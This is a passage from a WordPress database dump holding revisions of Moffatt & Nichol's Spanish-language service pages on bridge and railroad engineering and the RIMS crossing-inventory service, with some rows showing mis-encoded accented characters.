reparaciÃ³n/rehabilitaciÃ³n<br />\r\n        Servicios de la fase de construcciÃ³n<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> EstÃ©tica de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        AnÃ¡lisis avanzado de elementos finitos<br />\r\n        CoordinaciÃ³n y reubicaciÃ³n de equipos de servicios pÃºblicos<br />\r\n        DiseÃ±o de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Puentes','','inherit','open','open','','1674-revision-3','','','2012-06-15 06:39:28','2012-06-15 06:39:28','',1674,'http://moffattnichol.com/spanish/1674-revision-3/',0,'revision','',0),(2489,1,'2012-09-04 11:23:27','2012-09-04 11:23:27','<div class=\"content_faq\">\n[anything_slides cat=railroads width=588 height=325 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\n \n<h3>servicios ferroviarios</h3>\n<div class=\"global-services_one\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\n\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"2\">estudios económicos y de mercado</h1>\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\n\nExperiencia profesional en estudios económicos y de mercado:\n<ul>\n	<li>Análisis macroeconómico y demanda de carga globales</li>\n	<li>Análisis de mercado específico del país y regional</li>\n	<li>Evaluaciones económicas de ventajas competitivas</li>\n	<li>Desviación de carga y estudios de elasticidad</li>\n	<li>Estudios de casos comerciales</li>\n	<li>Desarrollo de proforma financiera</li>\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\n	<li>Evaluaciones y desarrollos estratégicos</li>\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\n	<li>Estudios de gestión y organización</li>\n	<li>Evaluación de alternativas de leasing</li>\n	<li>Análisis del impacto económico</li>\n	<li>Estimación de beneficio del sector privado</li>\n	<li>Estimación de beneficio del sector público</li>\n	<li>Evaluación de costo-beneficio</li>\n	<li>Análisis de la productividad y las operaciones de terminales </li>\n	<li>Operaciones de compañías navieras</li>\n</ul>\n&nbsp;\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"3\">servicios de ingeniería</h1>\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\n\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"4\">carga</h1>\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\n\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"5\">trenes de alta velocidad</h1>\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\n\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\n\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"6\">inspección y rehabilitación</h1>\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\n\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\n\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\n\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"8\">mantenimiento y mecánica</h1>\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\n\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\n<ul>\n	<li>Diagnóstico de señales y localización de averías</li>\n	<li>Diseño hidráulico</li>\n	<li>Problemas de mitigación medioambiental</li>\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\n	<li>Estudios de cruces a nivel</li>\n</ul>\n \nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\n\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"9\">gestión de programa</h1>\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\n\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\n\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"10\">señalización</h1>\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\n\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\n<ul>\n	<li>Separación del tráfico</li>\n	<li>Zona reservada</li>\n	<li>Zona de seguridad del corredor</li>\n	<li>Señalización pasiva</li>\n	<li>Inventario</li>\n	<li>Modelación de vías férreas-carretera</li>\n	<li>Análisis de operaciones de ferrocarriles</li>\n</ul>\n \nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\n\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"11\">estructuras</h1>\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\n\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\n\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\n\n<strong>Características:</strong>\n<ul>\n	<li>Cumple con la ley RSIA del 2008</li>\n	<li>Nos permite enviar sus datos a FRA</li>\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\n	<li>Imprime formularios del inventario con los cambios marcados</li>\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\n	<li>Usted controla quién tiene acceso a sus datos</li>\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\n</ul>\n&nbsp;\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-autosave','','','2012-09-04 11:23:27','2012-09-04 11:23:27','',651,'http://moffattnichol.com/spanish/651-autosave/',0,'revision','',0),(2490,1,'2011-11-14 04:48:05','2011-11-14 04:48:05','<div class=\"content_faq\">\n\n[vslider name=\"rails\"] &nbsp; <h3>servicios ferroviarios</h3>\n<div class=\"global-services_one\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"1\">trenes suburbanos y trÃ¡nsito</h1>\nLa aceptaciÃ³n de la comunidad es crÃtica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el pÃºblico para obtener la cooperaciÃ³n de todas las partes interesadas del Ã¡rea. La firma ha facilitado audiencias pÃºblicas y talleres pÃºblicos y ha proporcionado su experiencia profesional en reuniones de asociaciones pÃºblico-privadas para estos organismos. Estos programas de participaciÃ³n son esenciales para educar al pÃºblico y obtener apoyo para los proyectos de transporte.\n\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separaciÃ³n del trÃ¡fico y de la seguridad de corredores de transporte, asÃ como estudios de anÃ¡lisis de trÃ¡fico y determinaciones de zonas reservadas. La firma utiliza software de modelaciÃ³n tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el anÃ¡lisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseÃ±o relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"2\">estudios econÃ³micos y de mercado</h1>\nMoffatt &amp; Nichol comprende cÃ³mo el negocio del transporte guÃa a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logÃstica intermedia de almacenes, ademÃ¡s de la experiencia en el diseÃ±o, estimaciÃ³n de costos y construcciÃ³n de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja Ãºnica a sus clientes que evalÃºan sus inversiones en conexiones de transporte.\n\nExperiencia profesional en estudios econÃ³micos y de mercado:\n<ul>\n	<li>AnÃ¡lisis macroeconÃ³mico y demanda de carga globales</li>\n	<li>AnÃ¡lisis de mercado especÃfico del paÃs y regional</li>\n	<li>Evaluaciones econÃ³micas de ventajas competitivas</li>\n	<li>DesviaciÃ³n de carga y estudios de elasticidad</li>\n	<li>Estudios de casos comerciales</li>\n	<li>Desarrollo de proforma financiera</li>\n	<li>Estudios de factibilidad financiera y de capacidad de emisiÃ³n</li>\n	<li>Evaluaciones y desarrollos estratÃ©gicos</li>\n	<li>Debida diligencia de transacciones comerciales con grado de inversiÃ³n</li>\n	<li>Planeamiento y cÃ¡lculo de costo de servicios logÃsticos</li>\n	<li>Estudios de gestiÃ³n y organizaciÃ³n</li>\n	<li>EvaluaciÃ³n de alternativas de leasing</li>\n	<li>AnÃ¡lisis del impacto econÃ³mico</li>\n	<li>EstimaciÃ³n de beneficio del sector privado</li>\n	<li>EstimaciÃ³n de beneficio del sector pÃºblico</li>\n	<li>EvaluaciÃ³n de costo-beneficio</li>\n	<li>AnÃ¡lisis de la productividad y las operaciones de terminales </li>\n	<li>Operaciones de compaÃ±Ãas navieras</li>\n</ul>\n&nbsp;\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"3\">servicios de ingenierÃa</h1>\nMoffatt &amp; Nichol guÃa a sus clientes a travÃ©s del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visiÃ³n general integral, proporcionando una amplitud de visiÃ³n desde el planeamiento y diseÃ±o hasta la terminaciÃ³n del proyecto. Ãšnica en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia prÃ¡ctica en ferrocarriles en las Ã¡reas de factibilidad econÃ³mica y evaluaciÃ³n de la logÃstica, planeamiento de ferrocarriles, modelaciÃ³n de la capacidad, simulaciones logÃsticas y diseÃ±o de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingenierÃa estructural y mecÃ¡nica, inspecciÃ³n y rehabilitaciÃ³n, seÃ±alizaciÃ³n, y la administraciÃ³n de la construcciÃ³n para lÃneas de pasajeros y de trÃ¡nsito en todo el paÃs. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante anÃ¡lisis de operaciones e implementaciÃ³n de la construcciÃ³n de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a travÃ©s de las regulaciones ambientales y la gestiÃ³n de autorizaciones en estrecha coordinaciÃ³n con el proceso de aprobaciÃ³n del diseÃ±o y de la construcciÃ³n.\n\nNuestra experiencia de diseÃ±o incluye lÃneas principales, vÃas secundarias y vÃas de patios de maniobras para ferrocarriles de Clase 1, asÃ como para operadores de lÃneas cortas y regionales. Esta experiencia no solo comprende las vÃas, sino tambiÃ©n instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, asÃ como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseÃ±o portuarios, junto con nuestra prÃ¡ctica en ferrocarriles, ha producido instalaciones intermodales de Ãºltima tecnologÃa en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseÃ±o de las nuevas instalaciones de una grÃºa pÃ³rtico de gran capacidad.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"4\">carga</h1>\nLos ferrocarriles dan mÃ¡xima prioridad a la seguridad cuando se trata de transportar mercancÃas. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseÃ±o hasta la implementaciÃ³n. Nuestros profesionales de ferrocarriles reciben capacitaciÃ³n en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los Ãºltimos avances tecnolÃ³gicos y para proporcionar su experiencia profesional en las ideas mÃ¡s innovadoras. Esta capacitaciÃ³n y certificaciÃ³n da a nuestros ingenieros una conexiÃ³n con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\n\nEntendemos que las compaÃ±Ãas ferroviarias toman decisiones basadas en consideraciones de costos. Los diseÃ±os de ferrocarriles tienen un impacto econÃ³mico y pueden necesitar una mayor evaluaciÃ³n de la proporciÃ³n ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades aÃ±adidas en la mediciÃ³n del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de trÃ¡fico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensiÃ³n de la capacidad.\n<div class=\"followus\"><a title=\"Volver al principio\" 